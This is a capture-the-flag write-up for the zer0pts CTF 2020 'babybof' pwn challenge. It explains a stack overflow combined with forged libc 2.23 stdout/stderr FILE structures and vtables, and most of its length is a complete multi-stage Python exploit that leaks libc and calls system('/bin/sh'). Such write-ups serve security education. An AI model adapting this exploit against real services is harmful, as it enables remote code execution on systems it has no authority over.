Try   HackMD

[zer0pts CTF 2020] babybof

tags: zer0pts CTF pwn

Overview

Actually it's not baby :P

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   33 Symbols     No       0               2       chall

This is the only challenge the source code isn't attached among pwn tasks. The program is so simple that you can understand even only with objdump.

Solution

Vulnerability

It has BOF as the title says. read accepts 0x200 bytes even though the buffer size is 0x20.

Used functions

There're only 3 functions: setbuf, exit, read. We can call only these 3 fnuctions from plt. No leak.
setbuf is used to disable buffering of stdin, stdout and stderr, which is common in pwn tasks.

ROP gadget

Because of the small binary, there's only few gadgets.

Plan

Our first goal is to get leak by _IO_2_1_stdout_. Since PIE is disabled, we can use stdin, stdout, stderr pointers written in the .rela.dyn section. This time we use them to overwrite _IO_write_ptr in _IO_2_1_stdout_.

Obstacle-1

Even if we could overwrite _IO_write_ptr, we can't leak anything as we don't have any write-related functions. In order to force it flush, we have to call _IO_overflow_t.
In order to resolve this we use exit function. Inside exit calls __run_exit_handlers, which finally calls _IO_cleanup. It frees stdin, stdout and stderr, and flushes the buffer which has unprinted data by calling _IO_overflow_t.
So, calling exit will leak the libc address! The END?

Obstacle-2

It's not that easy. exit quits the program.
In libc 2.23, we can forge the vtable of _IO_FILE. So, we can change the vtable to somewhere like bss instead of _IO_jump_t, and can forge function pointers so that the attacker can take control when exit is called. Since exit calls _IO_overflow_t, which enables us to call main again. The END?

Obstacle-3

No way. If we change _IO_2_1_stdout_->_IO_overflow_t, now we can't leak any address. We use stderr to resolve this problem. stderr, stdout and stdin are linked to _IO_list_all in this order. Thus, if we change _IO_2_1_stderr_->_IO_write_ptr and the vtable of stdout, the free process of stderr will ignite first, which leaks the libc address and stdout vtable will call main again.
Be noticed in order to make _IO_2_1_stdout_->_IO_overflow_t ignite we need to forge _IO_2_1_stdout_->_IO_write_ptr as well. In this way, we can leak the libc address with connection kept. (You cannot use stdout and stderr after that because it's broken.)

Implementation

Try hard to write your exploit.

from ptrlib import * from time import sleep elf = ELF("../distfiles/chall") #""" libc = ELF("../distfiles/libc-2.23.so") sock = Socket("localhost", 9002) """ libc = ELF("../distfiles/libc-2.23.so") sock = Socket("localhost", 9999) #""" rop_pop_r15 = 0x0040049b rop_pop_rbp = 0x0040047c rop_pop_rdi = 0x0040049c rop_pop_rsi = 0x0040049e rop_leave = 0x00400499 rop_ret = 0x0040047d wait = 0.1 """ [1] Overwrite stderr->_IO_write_ptr to leak libc base """ logger.info("Stage 1") # 1-1) Create 2nd ROP chain around stderr # This ROP writes 2nd stage ROP chain. # The 2nd ROP chain sets rsi to the address of stderr. payload = b'A' * 0x28 payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stderr") - 8) payload += p64(elf.plt("read")) # --> A payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stderr") + 8) payload += p64(elf.plt("read")) # --> B payload += p64(rop_pop_rbp) payload += p64(elf.symbol("stderr") - 16) payload += p64(rop_leave) sock.send(payload) # vuln read sleep(wait) # 1-2) Send 2nd ROP chain # We have to split the payload in order not to corrupt stdin/out/err. sock.send(p64(rop_pop_rsi)) # A <-- sleep(wait) # 2-1) Create 4th ROP chain around stdout # This ROP writes 4th stage ROP chain. # The 4th ROP chain sets rsi to the address of stdout + 0x70. payload = p64(elf.plt("read")) # --> C (rsi=stderr) payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stdout") - 8) payload += p64(elf.plt("read")) # --> D payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stdin") - 8) payload += p64(elf.plt("read")) # --> E payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stderr") - 8) payload += p64(elf.plt("read")) # --> F payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stderr") + 8) payload += p64(elf.plt("read")) # --> G payload += p64(rop_pop_rbp) payload += p64(elf.symbol("stdout") - 16) payload += p64(rop_leave) sock.send(payload) # B <-- sleep(wait) # 1-3) Corrupt stderr->_IO_write_ptr # We increase the value of _IO_write_ptr. # This will cause _IO_jump_t->__overflow called before exiting. # (which leaks libc address) payload = p64(0xfbad1800) # _flags (= output as soon as possible) payload += p64(0) # _IO_read_ptr payload += p64(0) # _IO_read_end payload += p64(0) # _IO_read_base payload += b'\x88' # _IO_write_ptr sock.send(payload) # C <-- sleep(wait) """ [2] We force stdout to flush the memory. Since we don't have any functions which flush stdout, we try to quit the program and cause stdout->_IO_jump_t->__IO_overflow called. We overwrite stderr->_IO_jump_t to call main before exiting and keep connection. In this way, we can leak libc base without killing the process. """ logger.info("Stage 2") # 2-2) Send 4th ROP chain # We have to split the payload in order not to (completely) corrupt stderr. assert 0x00 <= libc.symbol("_IO_2_1_stdout_") & 0xff <= 0x80 w = bytes([(libc.symbol("_IO_2_1_stdout_") & 0xff) + 0x70]) sock.send(p64(rop_pop_rsi) + w) # D <-- (partially overwrite) sleep(wait) sock.send(p64(rop_pop_r15)) # E <-- sleep(wait) sock.send(p64(rop_pop_r15)) # F <-- sleep(wait) # 3-1) Create 6th ROP chain around stdout # This ROP writes 6th stage ROP chain. # The 6th ROP chain sets rsi to the address of stdout. payload = p64(elf.plt("read")) # --> H (rsi=stdout + 0x70) payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stdout") - 8) payload += p64(elf.plt("read")) # --> I payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stdin") - 8) payload += p64(elf.plt("read")) # --> J payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stderr") - 8) payload += p64(elf.plt("read")) # --> K payload += p64(rop_pop_rsi) payload += p64(elf.symbol("stderr") + 8) payload += p64(elf.plt("read")) # --> L payload += p64(rop_pop_rbp) payload += p64(elf.symbol("stdout") - 16) payload += p64(rop_leave) sock.send(payload) # G <-- sleep(wait) # 2-3) Corrupt stderr->_IO_jump_t # We make the vtable point to our fake vtable (which we will write later). payload = p64(2) payload += p64(0xffffffffffffffff) payload += p64(0) * 2 payload += p64(0xffffffffffffffff) payload += p64(0) * 8 payload += p64(elf.section(".bss") + 0xf00) # fake vtable sock.send(payload) # H <-- sleep(wait) """ [3] Overwrite stderr->_IO_write_ptr We changed stderr->_IO_jump_t but it's not enough because it won't call any function in the vtable. We overwrite stderr->_IO_write_ptr to make it call _IO_overflow_t before exiting, which instead calls main function. """ logger.info("Stage 3") # 3-2) Send 6th ROP chain # This also fixes stdout pointer w = bytes([libc.symbol("_IO_2_1_stdout_") & 0xff]) sock.send(p64(rop_pop_rsi) + w) # I <-- (restore stdout) sleep(wait) sock.send(p64(rop_pop_r15)) # J <-- sleep(wait) sock.send(p64(rop_pop_r15)) # K <-- sleep(wait) # 4-1) Create 8th ROP chain around stdout # This ROP writes 8th stage ROP chain. # The 8th ROP chain sets rsi to the address of stdout. payload = p64(elf.plt("read")) # --> M (rsi=stdout) payload += p64(rop_pop_rsi) payload += p64(elf.section(".bss") + 0x808) payload += p64(elf.plt("read")) # --> N payload += p64(rop_pop_rbp) payload += p64(elf.section(".bss") + 0x800) payload += p64(rop_leave) # need to pivot because exit consumes large memory sock.send(payload) # L <-- sleep(wait) # 3-3) Corrupt stdout->_IO_write_ptr # We increase the value of _IO_write_ptr. # This will cause _IO_jump_t->__overflow called before exiting. # (which actually calls main function) payload = p64(0xfbad1800) # _flags payload += p64(0) # _IO_read_ptr payload += p64(0) # _IO_read_end payload += p64(0) # _IO_read_base payload += b'\x88' # _IO_write_ptr sock.send(payload) # M <-- sleep(wait) """ [4] Prepare fake _IO_jump_t and try to exit """ logger.info("Stage 4") # 4-1) Final ROP chain to leak libc address # Now, prepare fake vtable and exit the program payload = p64(rop_pop_rsi) payload += p64(elf.section(".bss") + 0xf00) payload += p64(elf.plt("read")) # --> O (rsi=fake_IO_jump_t) payload += p64(elf.plt("exit")) sock.send(payload) # N <-- sleep(wait) # 4-2) Send fake _IO_jump_t payload = p64(0) * 3 payload += p64(elf.symbol("main")) sock.send(payload) # O <-- sleep(wait) # 4-3) leak libc base # In __run_exit_handler cleanups stderr-->stdout-->stdin as we call exit function. # First, stderr leaks memory since we changed _IO_write_ptr. # Second, stdout leaks memory and calls main function since we changed _IO_write_ptr and _IO_jump_t. libc_base = u64(sock.recv()[0x20:0x28]) - libc.symbol("_IO_2_1_stdout_") logger.info("libc base = " + hex(libc_base)) """ [5] Baby BOF! """ logger.info("Stage 5 :tada:") payload = b'A' * 0x28 payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) sock.send(payload) sock.interactive()